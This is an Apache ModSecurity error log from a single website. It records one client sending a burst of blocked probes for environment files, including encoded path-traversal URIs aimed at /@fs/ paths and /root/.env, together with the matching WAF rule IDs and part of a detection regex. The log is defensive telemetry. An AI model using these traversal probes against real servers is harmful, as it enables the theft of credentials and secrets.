[Sun Oct 25 18:10:28.216210 2026] [security2:error] [pid 2909990:tid 2909990] [client 34.107.58.202:49628] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5-VAse5iC_31HL6KCsCQAAACE"]
[Sun Oct 25 18:10:28.216569 2026] [security2:error] [pid 2909990:tid 2909990] [client 34.107.58.202:49628] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5-VAse5iC_31HL6KCsCQAAACE"]
[Sun Oct 25 18:10:28.216862 2026] [security2:error] [pid 2909990:tid 2909990] [client 34.107.58.202:49628] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5-VAse5iC_31HL6KCsCQAAACE"]
[Sun Oct 25 18:10:28.228641 2026] [security2:error] [pid 2910022:tid 2910022] [client 34.107.58.202:49622] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/var/task/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at5-VGcu0XrgEc3f7FYtQAAAAD8"]
[Sun Oct 25 18:10:28.228967 2026] [security2:error] [pid 2910022:tid 2910022] [client 34.107.58.202:49622] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at5-VGcu0XrgEc3f7FYtQAAAAD8"]
[Sun Oct 25 18:10:28.229231 2026] [security2:error] [pid 2910022:tid 2910022] [client 34.107.58.202:49622] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at5-VGcu0XrgEc3f7FYtQAAAAD8"]
[Sun Oct 25 18:10:28.262271 2026] [security2:error] [pid 2909994:tid 2909994] [client 34.107.58.202:49760] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5-VGqiJVGrp7lk7eUK8AAAACU"]
[Sun Oct 25 18:10:28.262820 2026] [security2:error] [pid 2909994:tid 2909994] [client 34.107.58.202:49760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5-VGqiJVGrp7lk7eUK8AAAACU"]
[Sun Oct 25 18:10:28.263138 2026] [security2:error] [pid 2909994:tid 2909994] [client 34.107.58.202:49760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5-VGqiJVGrp7lk7eUK8AAAACU"]
[Sun Oct 25 18:10:28.361563 2026] [security2:error] [pid 2908852:tid 2908852] [client 34.107.58.202:45634] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5-VDsPACk6z5hup_pd5wAAABE"]
[Sun Oct 25 18:10:28.362240 2026] [security2:error] [pid 2908852:tid 2908852] [client 34.107.58.202:45634] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5-VDsPACk6z5hup_pd5wAAABE"]
[Sun Oct 25 18:10:28.362560 2026] [security2:error] [pid 2908852:tid 2908852] [client 34.107.58.202:45634] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5-VDsPACk6z5hup_pd5wAAABE"]
[Sun Oct 25 18:10:28.979817 2026] [security2:error] [pid 2910022:tid 2910022] [client 34.107.58.202:49622] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5-VGcu0XrgEc3f7FYtQgAAAD8"]
[Sun Oct 25 18:10:28.980333 2026] [security2:error] [pid 2910022:tid 2910022] [client 34.107.58.202:49622] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5-VGcu0XrgEc3f7FYtQgAAAD8"]
[Sun Oct 25 18:10:28.980657 2026] [security2:error] [pid 2910022:tid 2910022] [client 34.107.58.202:49622] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5-VGcu0XrgEc3f7FYtQgAAAD8"]
[Sun Oct 25 18:10:28.981745 2026] [security2:error] [pid 2908852:tid 2908852] [client 34.107.58.202:45634] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?import&raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5-VDsPACk6z5hup_pd6AAAABE"]
[Sun Oct 25 18:10:28.981823 2026] [security2:error] [pid 2908852:tid 2908852] [client 34.107.58.202:45634] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5-VDsPACk6z5hup_pd6AAAABE"]
[Sun Oct 25 18:10:28.982314 2026] [security2:error] [pid 2908852:tid 2908852] [client 34.107.58.202:45634] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5-VDsPACk6z5hup_pd6AAAABE"]
[Sun Oct 25 18:10:28.982638 2026] [security2:error] [pid 2908852:tid 2908852] [client 34.107.58.202:45634] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5-VDsPACk6z5hup_pd6AAAABE"]
[Sun Oct 25 18:10:28.983647 2026] [security2:error] [pid 2909990:tid 2909990] [client 34.107.58.202:49628] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at5-VAse5iC_31HL6KCsCgAAACE"]
[Sun Oct 25 18:10:28.984050 2026] [security2:error] [pid 2909990:tid 2909990] [client 34.107.58.202:49628] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at5-VAse5iC_31HL6KCsCgAAACE"]
[Sun Oct 25 18:10:28.984332 2026] [security2:error] [pid 2909990:tid 2909990] [client 34.107.58.202:49628] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at5-VAse5iC_31HL6KCsCgAAACE"]
[Sun Oct 25 18:10:28.985509 2026] [security2:error] [pid 2899542:tid 2899542] [client 34.107.58.202:49762] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at5-VNKQ9ANbYqzP3RuiBAAAAAk"]
[Sun Oct 25 18:10:28.985915 2026] [security2:error] [pid 2899542:tid 2899542] [client 34.107.58.202:49762] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at5-VNKQ9ANbYqzP3RuiBAAAAAk"]
[Sun Oct 25 18:10:28.986143 2026] [security2:error] [pid 2899542:tid 2899542] [client 34.107.58.202:49762] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at5-VNKQ9ANbYqzP3RuiBAAAAAk"]
[Sun Oct 25 18:10:28.992238 2026] [authz_core:error] [pid 2910014:tid 2910014] [client 34.107.58.202:49654] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 18:10:29.019419 2026] [security2:error] [pid 2910678:tid 2910678] [client 34.107.58.202:49774] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/graphql"] [unique_id "at5-VRZObLMoYzrxjLAiiAAAAAM"], referer: https://sherwinpinturas.com
[Sun Oct 25 18:10:29.019449 2026] [security2:error] [pid 2910678:tid 2910678] [client 34.107.58.202:49774] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/graphql"] [unique_id "at5-VRZObLMoYzrxjLAiiAAAAAM"], referer: https://sherwinpinturas.com
[Sun Oct 25 18:10:29.096364 2026] [security2:error] [pid 2910679:tid 2910679] [client 34.107.58.202:49738] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5-VdY9M16TKcRp9n2dBAAAAAQ"]
[Sun Oct 25 18:10:29.097072 2026] [security2:error] [pid 2910679:tid 2910679] [client 34.107.58.202:49738] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5-VdY9M16TKcRp9n2dBAAAAAQ"]
[Sun Oct 25 18:10:29.097567 2026] [security2:error] [pid 2910679:tid 2910679] [client 34.107.58.202:49738] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5-VdY9M16TKcRp9n2dBAAAAAQ"]
[Sun Oct 25 18:10:29.107792 2026] [security2:error] [pid 2910022:tid 2910022] [client 34.107.58.202:49622] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5-VWcu0XrgEc3f7FYtQwAAAD8"]
[Sun Oct 25 18:10:29.108348 2026] [security2:error] [pid 2910022:tid 2910022] [client 34.107.58.202:49622] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5-VWcu0XrgEc3f7FYtQwAAAD8"]
[Sun Oct 25 18:10:29.108599 2026] [security2:error] [pid 2910022:tid 2910022] [client 34.107.58.202:49622] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5-VWcu0XrgEc3f7FYtQwAAAD8"]
[Sun Oct 25 18:10:29.120003 2026] [security2:error] [pid 2909990:tid 2909990] [client 34.107.58.202:49628] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5-VQse5iC_31HL6KCsCwAAACE"]
[Sun Oct 25 18:10:29.120587 2026] [security2:error] [pid 2909990:tid 2909990] [client 34.107.58.202:49628] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5-VQse5iC_31HL6KCsCwAAACE"]
[Sun Oct 25 18:10:29.120968 2026] [security2:error] [pid 2909990:tid 2909990] [client 34.107.58.202:49628] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5-VQse5iC_31HL6KCsCwAAACE"]
[Sun Oct 25 18:10:29.154847 2026] [security2:error] [pid 2910025:tid 2910025] [client 34.107.58.202:49642] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5-VXubL73JO9nX5wfH9AAAAEI"]
[Sun Oct 25 18:10:29.155257 2026] [security2:error] [pid 2910025:tid 2910025] [client 34.107.58.202:49642] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5-VXubL73JO9nX5wfH9AAAAEI"]
[Sun Oct 25 18:10:29.155514 2026] [security2:error] [pid 2910025:tid 2910025] [client 34.107.58.202:49642] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5-VXubL73JO9nX5wfH9AAAAEI"]
